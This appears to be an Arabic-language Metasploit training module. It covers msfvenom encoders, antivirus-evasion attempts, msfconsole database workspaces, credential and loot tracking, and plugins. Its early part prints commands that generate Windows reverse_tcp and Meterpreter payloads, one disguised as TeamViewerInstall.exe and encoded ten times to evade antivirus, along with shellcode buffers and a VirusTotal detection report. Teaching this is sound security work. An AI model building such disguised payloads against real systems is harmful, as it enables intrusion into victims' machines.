"\xcf\xa0\x82\x6e\x6a\x3a\x5e\x44\x58\x9c\xf2\xc3\xd6\xb9" .
<SNIP>بعد 2015 اتدمجوا في أداة واحدة: msfvenom، وهي المسؤولة عن generation وEncoding. الشكل دلوقتي:
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp
LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of perl file: 1674 bytes
my $buf =
"\xda\xc1\xba\x37\xc7\xcb\x5e\xd9\x74\x24\xf4\x5b\x2b\xc9" .
"\xb1\x59\x83\xeb\xfc\x31\x53\x15\x03\x53\x15\xd5\x32\x37" .
"\xb6\x96\xbd\xc8\x47\xc8\x8c\x1a\x23\x83\xbd\xaa\x27\xc1" .
"\x4d\x42\xd2\x6e\x1f\x40\x2c\x8f\x2b\x1a\x66\x60\x9b\x91" .
"\x50\x4f\x23\x89\xa1\xce\xdf\xd0\xf5\x30\xe1\x1a\x08\x31" .
<SNIP>لاحظ أول سطر في الـ $buf وقارنه لما نستخدم shikata_ga_nai:
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp
LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai succeeded with size 353 (iteration=1)
x86/shikata_ga_nai succeeded with size 380 (iteration=2)
x86/shikata_ga_nai chosen with final size 380
Payload size: 380 bytes
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
<SNIP>لو عايز تفهم تفاصيل الـ encoder، فيه مقال ممتاز من hatching.io.
ولو عايز تختار encoder لـ payload موجود، استخدم show encoders جوه msfconsole عشان تشوف المتاح لتركيبة الـ Exploit + Payload الحالية:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders
Compatible Encoders
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/eicar manual No The EICAR Encoder
1 generic/none manual No The "none" Encoder
2 x64/xor manual No XOR Encoder
3 x64/xor_dynamic manual No Dynamic key XOR
Encoder
4 x64/zutto_dekiru manual No Zutto Dekiruفي المثال السابق شفنا encoders قليلة مناسبة لـ x64، ومفلترة أوتوماتيك على المتوافق بس. نجرب exploit تاني: MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference.
msf6 exploit(ms09_050_smb2_negotiate_func_index) > show encoders
Compatible Encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/none normal The "none" Encoder
x86/alpha_mixed low Alpha2 Alphanumeric
Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric
Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR
Encoder
x86/context_cpuid manual CPUID-based Context
Keyed Payload Encoder
x86/context_stat manual stat(2)-based
Context Keyed Payload Encoder
x86/context_time manual time(2)-based
Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR
Countdown Encoder
x86/fnstenv_mov normal Variable-length
Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR
Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR
Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric
Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric
Unicode Uppercase Encoderالمثال ده افتراضي. لو شفرت executable payload مرة واحدة بـ SGN، أغلب الـ antiviruses هتكشفه دلوقتي.
بـ msfvenom:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o
./TeamViewerInstall.exeFound 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: TeamViewerInstall.exeالأمر ده بيعمل payload بصيغة exe اسمه TeamViewerInstall.exe، لمعمارية x86 على Windows، بـ Meterpreter reverse_tcp مخفي، مشفر مرة واحدة بـ Shikata Ga Nai. نرفعه على VirusTotal:
حل أحسن: تشفير على مراحل متعددة بنفس النظام:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o
/root/Desktop/TeamViewerInstall.exe
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)x86/shikata_ga_nai chosen with final size 611
Payload size: 611 bytes
Final size of exe file: 73802 bytes
Error: Permission denied @ rb_sysopen -
/root/Desktop/TeamViewerInstall.exeوده كمان مش كفاية للـ AV evasion: عدد كبير من المنتجات لسه بيكشف الـ payload.
بديل: أداة msf-virustotal بتيجي مع Metasploit، بتستخدم API key لتحليل الـ payloads (محتاج تسجيل مجاني على VirusTotal):
msf-virustotal -k <API key> -f TeamViewerInstall.exe
[*] Using API key: <API key>
[*] Please wait while I upload TeamViewerInstall.exe...
[*] VirusTotal: Scan request successfully queued, come back later for the
report
[*] Sample MD5 hash : 4f54cc46e2f55be168cc6114b74a3130
[*] Sample SHA1 hash : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Sample SHA256 hash :
66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-
<SNIP>-1651750343
[*] Requesting the report...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...[*] Analysis Report: TeamViewerInstall.exe (51 / 68):
66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==========================================================================
========================================
Antivirus Detected Version
Result Update
--------- -------- -------
------ ------
ALYac true 1.1.3.1
Trojan.CryptZ.Gen 20220505
APEX true 6.288
Malicious 20220504
AVG true 21.1.5827.0
Win32:SwPatch [Wrm] 20220505
Acronis true 1.2.0.108
suspicious 20220426
Ad-Aware true 3.0.21.193
Trojan.CryptZ.Gen 20220505
AhnLab-V3 true 3.21.3.10230
Trojan/Win32.Shell.R1283 20220505
Alibaba false 0.3.0.5
20190527
Antiy-AVL false 3.0
20220505
Arcabit true 1.0.0.889
Trojan.CryptZ.Gen 20220505
Avast true 21.1.5827.0
Win32:SwPatch [Wrm] 20220505
Avira true 8.3.3.14
TR/Patched.Gen2 20220505
Baidu false 1.0.0.2
20190318
BitDefender true 7.2
Trojan.CryptZ.Gen 20220505
BitDefenderTheta true 7.2.37796.0
Gen:NN.ZexaF.34638.eq1@aC@Q!ici 20220428
Bkav true 1.3.0.9899
W32.FamVT.RorenNHc.Trojan 20220505
CAT-QuickHeal true 14.00
Trojan.Swrort.A 20220505
CMC false 2.10.2019.1
20211026
ClamAV true 0.105.0.0
Win.Trojan.MSShellcode-6360728-0 20220505
Comodo true 34592
TrojWare.Win32.Rozena.A@4jwdqr 20220505
CrowdStrike true 1.0
win/malicious_confidence_100% (D) 20220418
Cylance true 2.3.1.101Unsafe 20220505
Cynet true 4.0.0.27
Malicious (score: 100) 20220505
Cyren true 6.5.1.2
W32/Swrort.A.gen!Eldorado 20220505
DrWeb true 7.0.56.4040
Trojan.Swrort.1 20220505
ESET-NOD32 true 25218
a variant of Win32/Rozena.AA 20220505
Elastic true 4.0.36
malicious (high confidence) 20220503
Emsisoft true 2021.5.0.7597
Trojan.CryptZ.Gen (B) 20220505
F-Secure false 18.10.978-
beta,1651672875v,1651675347h,1651717942c,1650632236t
20220505
FireEye true 35.24.1.0
Generic.mg.4f54cc46e2f55be1 20220505
Fortinet true 6.2.142.0
MalwThreat!0971IV 20220505
GData true A:25.32960B:27.27244
Trojan.CryptZ.Gen 20220505
Gridinsoft true 1.0.77.174
Trojan.Win32.Swrort.zv!s2 20220505
Ikarus true 6.0.24.0
Trojan.Win32.Swrort 20220505
Jiangmin false 16.0.100
20220504
K7AntiVirus true 12.10.42191
Trojan ( 001172b51 ) 20220505
K7GW true 12.10.42191
Trojan ( 001172b51 ) 20220505
Kaspersky true 21.0.1.45
HEUR:Trojan.Win32.Generic 20220505
Kingsoft false 2017.9.26.565
20220505
Lionic false 7.5
20220505
MAX true 2019.9.16.1
malware (ai score=89) 20220505
Malwarebytes true 4.2.2.27
Trojan.Rozena 20220505
MaxSecure true 1.0.0.1
Trojan.Malware.300983.susgen 20220505
McAfee true 6.0.6.653
Swrort.i 20220505
McAfee-GW-Edition true v2019.1.2+3728
BehavesLike.Win32.Swrort.lh 20220505
MicroWorld-eScan true 14.0.409.0
Trojan.CryptZ.Gen 20220505Microsoft true 1.1.19200.5
Trojan:Win32/Meterpreter.A 20220505
NANO-Antivirus true 1.0.146.25588
Virus.Win32.Gen-Crypt.ccnc 20220505
Paloalto false 0.9.0.1003
20220505
Panda false 4.6.4.2
20220504
Rising true 25.0.0.27
[email protected] (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1) 20220505
SUPERAntiSpyware true 5.6.0.1032
Trojan.Backdoor-Shell 20220430
Sangfor true 2.14.0.0
Trojan.Win32.Save.a 20220415
SentinelOne true 22.2.1.2
Static AI - Malicious PE 20220330
Sophos true 1.4.1.0
ML/PE-A + Mal/EncPk-ACE 20220505
Symantec true 1.17.0.0
Packed.Generic.347 20220505
TACHYON false 2022-05-05.02
20220505
Tencent true 1.0.0.1
Trojan.Win32.Cryptz.za 20220505
TrendMicro true 11.0.0.1006
BKDR_SWRORT.SM 20220505
TrendMicro-HouseCall true 10.0.0.1040
BKDR_SWRORT.SM 20220505
VBA32 false 5.0.0
20220505
ViRobot true 2014.3.20.0
Trojan.Win32.Elzob.Gen 20220504
VirIT false 9.5.188
20220504
Webroot false 1.0.0.403
20220505
Yandex true 5.5.2.24
Trojan.Rosena.Gen.1 20220428
Zillya false 2.0.0.4625
20220505
ZoneAlarm true 1.0
HEUR:Trojan.Win32.Generic 20220505
Zoner false 2.2.2.0
20220504
tehtris false v0.1.2
20220505زي ما توقعنا: أغلب منتجات الـ anti-virus اللي هتقابلها في الواقع هتكتشف الـ payload ده، فلازم طرق تانية للـ evasion (بره نطاق الموديول).
الـ encoder مش بيحمي لوحده. SGN مفيد لـ bad characters والتوافق، لكن كشف الـ AV محتاج طبقات تانية: تشفير متعدد، archiving، packers، وتعديل الكود.
الداتابيز في msfconsole بتتابع نتايجك. في assessments معقدة - بل في شبكات كاملة - الأمور بتتلخبط من كتر نتايج البحث ونقاط الدخول والمشاكل المكتشفة والـ credentials. هنا تيجي فايدة الداتابيز: msfconsole بيدعم PostgreSQL مدمج، فبتوصل لنتايج الـ scan بسرعة، وبتستورد وتصدر النتايج مع أدوات تالتة، وتستخدم النتايج الموجودة في ضبط باراميترات الـ Exploit module.
أول حاجة: نتأكد إن PostgreSQL شغال على جهازك:
sudo service postgresql status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled;
vendor preset: disabled)
Active: active (exited) since Fri 2022-05-06 14:51:30 BST; 3min 51s
ago
Process: 2147 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 2147 (code=exited, status=0/SUCCESS)
CPU: 1ms
May 06 14:51:30 pwnbox-base systemd[1]: Starting PostgreSQL RDBMS...
May 06 14:51:30 pwnbox-base systemd[1]: Finished PostgreSQL RDBMS.sudo systemctl start postgresqlبعد تشغيل PostgreSQL، نعمل create وinitialize لداتابيز الـ MSF بـ msfdb init:
sudo msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-
framework/config/database.yml'
[+] Creating initial database schema
rake aborted!
NoMethodError: undefined method `without' for #
<Bundler::Settings:0x000055dddcf8cba8>
Did you mean? with_options
<SNIP>ساعات بيظهر error لو Metasploit مش محدث. الحل غالبا تحديث تاني (apt update) وبعدين إعادة تهيئة الداتابيز:
sudo msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initializationولو التهيئة اتخطت وقالك الداتابيز متظبطة أصلا، راجع الحالة:
sudo msfdb status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled;
vendor preset: disabled)
Active: active (exited) since Mon 2022-05-09 15:19:57 BST; 35min ago
Process: 2476 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 2476 (code=exited, status=0/SUCCESS) CPU: 1ms
May 09 15:19:57 pwnbox-base systemd[1]: Starting PostgreSQL RDBMS...
May 09 15:19:57 pwnbox-base systemd[1]: Finished PostgreSQL RDBMS.
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
postgres 2458 postgres 5u IPv6 34336 0t0 TCP localhost:5432
(LISTEN)
postgres 2458 postgres 6u IPv4 34337 0t0 TCP localhost:5432
(LISTEN)
UID PID PPID C STIME TTY STAT TIME CMD
postgres 2458 1 0 15:19 ? Ss 0:00
/usr/lib/postgresql/13/bin/postgres -D /var/lib/postgresql/13/main -c con
[+] Detected configuration file (/usr/share/metasploit-
framework/config/database.yml)ولو الـ error مش ظاهر (بيحصل كتير بعد تثبيت جديد)، هتشوف ده وقت التهيئة:
sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-
framework/config/database.yml'
[+] Creating initial database schemaبعد التهيئة، تشغل msfconsole وتتصل بالداتابيز في نفس الوقت:
sudo msfdb run
[i] Database already started
. .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP
dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP
dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v6.1.39-dev ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
msf6>ولو الداتابيز متظبطة بالفعل ومش قادر تغير باسورد الـ MSF user:
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
msf6 > db_status
[*] Connected to msf. Connection type: PostgreSQL.دلوقتي جاهزين. والـ msfconsole فيه help مدمج للداتابيز:
msf6 > help databaseDatabase Backend Commands
=========================
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the
database
db_import Import a scan result file (filetype will be auto-
detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.بالداتابيز بتدير فئات كتير والأجهزة اللي حللتها، وبتصدر وتستورد. وده مفيد جدا لما يكون عندك قوايم كبيرة من hosts وloot وnotes وثغرات مخزنة. بعد ما تتأكد إن الاتصال نجح، تنظم الـ Workspaces.
الـ Workspace زي فولدر في مشروع: بتفصل نتايج scan وأجهزة ومعلومات كل شبكة/سبنت/دومين لوحدها. أمر workspace بيعرض القايمة، و-a يضيف و-d يحذف (وبعده اسم الـ workspace).
msf6 > workspace
* defaultالـ workspace الافتراضي اسمه default والعلامة * بتقول إنه المستخدم حاليا. للتبديل: workspace [name]. نعمل workspace للمهمة ونختاره:
msf6 > workspace -a Target_1
[*] Added workspace: Target_1
[*] Workspace: Target_1
msf6 > workspace Target_1
[*] Workspace: Target_1
msf6 > workspace
default
* Target_1msf6 > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help informationنفترض عايز تستورد Nmap scan لجهاز في الـ workspace: استخدم db_import. بعد الاستيراد، راجع المعلومات بأوامر hosts وservices. ملاحظة: صيغة .xml هي المفضلة لـ db_import.
cat Target.nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 20:54 UTC
Nmap scan report for 10.10.10.40
Host is up (0.017s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.81 secondsmsf6 > db_import Target.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.9'
[*] Importing host 10.10.10.40
[*] Successfully imported ~/Target.xml
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------
10.10.10.40 Unknown device
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.40 135 tcp msrpc open Microsoft Windows RPC
10.10.10.40 139 tcp netbios-ssn open Microsoft Windows netbios-
ssn
10.10.10.40 445 tcp microsoft-ds open Microsoft Windows 7 - 10
microsoft-ds workgroup: WORKGROUP
10.10.10.40 49152 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49153 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49154 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49155 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49156 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49157 tcp msrpc open Microsoft Windows RPCتقدر تستخدم Nmap مباشرة من msfconsole من غير ما تخرج أو تعمل background: أمر db_nmap.
msf6 > db_nmap -sV -sS 10.10.10.8
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:04 UTC
[*] Nmap: Nmap scan report for 10.10.10.8
[*] Nmap: Host is up (0.016s latency).
[*] Nmap: Not shown: 999 filtered ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/TCP open http HttpFileServer httpd 2.3
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results
at https://nmap.org/submit/
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.12 seconds
msf6 > hosts
Hosts=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
10.10.10.8 Unknown device
10.10.10.40 Unknown device
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.8 80 tcp http open HttpFileServer httpd 2.3
10.10.10.40 135 tcp msrpc open Microsoft Windows RPC
10.10.10.40 139 tcp netbios-ssn open Microsoft Windows netbios-
ssn
10.10.10.40 445 tcp microsoft-ds open Microsoft Windows 7 - 10
microsoft-ds workgroup: WORKGROUP
10.10.10.40 49152 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49153 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49154 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49155 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49156 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49157 tcp msrpc open Microsoft Windows RPCبعد ما تخلص، اعمل backup للداتا لو حصل حاجة لخدمة PostgreSQL: أمر db_export.
msf6 > db_export -h
Usage:
db_export -f <format> [filename]
Format can be one of: xml, pwdump
[-] No output file was specified
msf6 > db_export -f xml backup.xml
[*] Starting export of workspace default to backup.xml [ xml ]...[*] Finished export of workspace default to backup.xml [ xml ]...الداتا دي تتحمل تاني في msfconsole وقت الحاجة. وأوامر تانية للاحتفاظ بالداتا: hosts وservices وcreds وloot.
أمر hosts بيعرض جدول بيتعبى أوتوماتيك بعناوين الأجهزة وأسمائها وأي معلومات تانية من الـ scans والتعاملات. لو msfconsole موصول بـ scanner plugins بتعمل service وOS detection، المعلومات بتظهر لوحدها بعد الـ scan. وتقدر تضيف hosts يدوي، وتظبط شكل الجدول، وتضيف تعليقات، وتعدل المعلومات.
msf6 > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-C <col1,col2> Only show the given columns until the next restart
(see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o <file> Send output to a file in CSV format
-O <column> Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts
Available columns: address, arch, comm, comments, created_at, cred_count,
detected_arch, exploit_attempt_count, host_detail_count, info, mac, name,note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope,
service_count, state, updated_at, virtual_host, vuln_count, tagsأمر services بنفس الفكرة: جدول فيه وصف ومعلومات الخدمات المكتشفة، وكل الإدخالات قابلة للتخصيص.
msf6 > services -h
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s
<name1,name2>] [-o <filename>] [addr1 addr2 ...]
-a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,--help Show this help information
-s <name> Name of the service to add
-p <port> Search for a list of ports
-r <protocol> Protocol type of the service being added [tcp|udp]
-u,--up Only show services which are up
-o <file> Send output to a file in csv format
-O <column> Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-U,--update Update data for existing service
Available columns: created_at, info, name, port, proto, state, updated_atأمر creds بيعرض الـ credentials اللي جمعتها من تعاملك مع الهدف، وتقدر تضيف يدوي، وتربط credentials ببورتات معينة، وتضيف أوصاف.
msf6 > creds -h
With no sub-command, list credentials. If an address range is
given, show only credentials with logins on hosts within that
range.
Usage - Listing credentials:
creds [filter options] [address range]
Usage - Adding credentials:
creds add uses the following named parameters.
user : Public, usually a username
password : Private, private_type Password.
ntlm : Private, private_type NTLM Hash.
Postgres : Private, private_type Postgres MD5
ssh-key : Private, private_type SSH key, must be a file path.
hash : Private, private_type Nonreplayable hash
jtr : Private, private_type John the Ripper hash type.
realm : Realm,
realm-type: Realm, realm_type (domain db2db sid pgdb rsync wildcard),
defaults to domain.
Examples: Adding
# Add a user, password and realm
creds add user:admin password:notpassword realm:workgroup
# Add a user and password
creds add user:guest password:'guest password'
# Add a password
creds add password:'password without username'
# Add a user with an NTLMHash
creds add user:admin
ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A
# Add a NTLMHash
creds add
ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A
# Add a Postgres MD5
creds add user:postgres postgres:md5be86a79bf2043622d58d5453c47d4860
# Add a user with an SSH key
creds add user:sshadmin ssh-key:/path/to/id_rsa
# Add a user and a NonReplayableHash
creds add user:other hash:d19c32489b870735b5f587d76b934283 jtr:md5
# Add a NonReplayableHash
creds add hash:d19c32489b870735b5f587d76b934283
General options
-h,--help Show this help information
-o <file> Send output to a file in csv/jtr (john the ripper)
format.
If the file name ends in '.jtr', that format willbe used.
If file name ends in '.hcat', the hashcat format
will be used.
CSV by default.
-d,--delete Delete one or more credentials
Filter options for listing
-P,--password <text> List passwords that match this text
-p,--port <portspec> List creds with logins on services matching this
port spec
-s <svc names> List creds matching comma-separated service names
-u,--user <text> List users that match this text
-t,--type <type> List creds that match the following types:
password,ntlm,hash
-O,--origins <IP> List creds that match these origins
-R,--rhosts Set RHOSTS from the results of the search
-v,--verbose Don't truncate long password hashes
Examples, John the Ripper hash types:
Operating Systems (starts with)
Blowfish ($2a$) : bf
BSDi (_) : bsdi
DES : des,crypt
MD5 ($1$) : md5
SHA256 ($5$) : sha256,crypt
SHA512 ($6$) : sha512,crypt
Databases
MSSQL : mssql
MSSQL 2005 : mssql05
MSSQL 2012/2014 : mssql12
MySQL < 4.1 : mysql
MySQL >= 4.1 : mysql-sha1
Oracle : des,oracle
Oracle 11 : raw-sha1,oracle11
Oracle 11 (H type): dynamic_1506
Oracle 12c : oracle12c
Postgres : postgres,raw-md5
Examples, listing:
creds # Default, returns all credentials
creds 1.2.3.4/24 # Return credentials with logins in this range
creds -O 1.2.3.4/24 # Return credentials with origins in this range
creds -p 22-25,445 # nmap port specification
creds -s ssh,smb # All creds associated with a login on SSH or SMB
services
creds -t NTLM # All NTLM creds
creds -j md5 # All John the Ripper hash type MD5 creds
Example, deleting:
# Delete all SMB credentials creds -d -s smbأمر loot بيشتغل مع الأوامر السابقة ويديك قايمة سريعة بالخدمات والمستخدمين اللي عندك. الـ loot هنا يعني hash dumps من أنظمة مختلفة: hashes، passwd، shadow وغيرها.
msf6 > loot -h
Usage: loot [options]
Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]
Del: loot -d [addr1 addr2 ...]
-a,--add Add loot to the list of addresses, instead of listing
-d,--delete Delete *all* loot matching host and type
-f,--file File with contents of the loot to add
-i,--info Info of the loot to add
-t <type1,type2> Search for a list of types
-h,--help Show this help information
-S,--search Search string to filter byالـ Plugins سوفتوير جاهز أصدرته أطراف تالتة ووافقت إن Metasploit يدمجه في الإطار. ممكن تكون منتجات تجارية ليها Community Edition مجانية بوظائف محدودة، أو مشاريع فردية. استخدامها بيسهل حياة الـ pentester: وظائف برامج معروفة بتيجي جوه msfconsole أو Metasploit Pro.
قبل كده كنت لازم تتنقل بين برامج مختلفة عشان تستورد وتصدر نتايج وتظبط options وparameters كل مرة. دلوقتي، بالـ plugins، كل حاجة بتتوثق أوتوماتيك في الداتابيز، والأجهزة والخدمات والثغرات بتبقى ظاهرة بلمحة. الـ plugins بتشتغل مباشرة مع الـ API وتقدر تتحكم في الإطار كله: أتمتة المهام المتكررة، إضافة أوامر جديدة للـ msfconsole، وتوسيع الإطار.
لازم تتأكد إن الـ plugin متثبت في المكان الصح. الفولدر الافتراضي لكل تثبيت جديد:
ls /usr/share/metasploit-framework/plugins
aggregator.rb beholder.rb event_tester.rb komand.rb
msfd.rb nexpose.rb request.rb session_notifier.rb sounds.rb
token_adduser.rb wmap.rb
alias.rb db_credcollect.rb ffautoregen.rb lab.rb
msgrpc.rb openvas.rb rssfeed.rb session_tagger.rb sqlmap.rb
token_hunter.rb
auto_add_route.rb db_tracker.rb ips_filter.rb libnotify.rb
nessus.rb pcap_log.rb sample.rb socket_logger.rb thread.rb
wiki.rbلو الـ plugin موجود، تحمله جوه msfconsole وهتلاقي رسالة ترحيب بتأكد إنه اتحمل وجاهز:
msf6 > load nessus
[*] Nessus Bridge for Metasploit
[*] Type nessus_help for a command listing
[*] Successfully loaded Plugin: Nessus
msf6 > nessus_help
Command Help Text
------- ---------
Generic Commands
----------------- -----------------
nessus_connect Connect to a Nessus server
nessus_logout Logout from the Nessus server
nessus_login Login into the connected Nessus server with adifferent username and
<SNIP>
nessus_user_del Delete a Nessus User
nessus_user_passwd Change Nessus Users Password
Policy Commands
----------------- -----------------
nessus_policy_list List all polciies
nessus_policy_del Delete a policyولو مش متثبت صح، هتاخد error عند التحميل:
msf6 > load Plugin_That_Does_Not_Exist
[-] Failed to load plugin from /usr/share/metasploit-
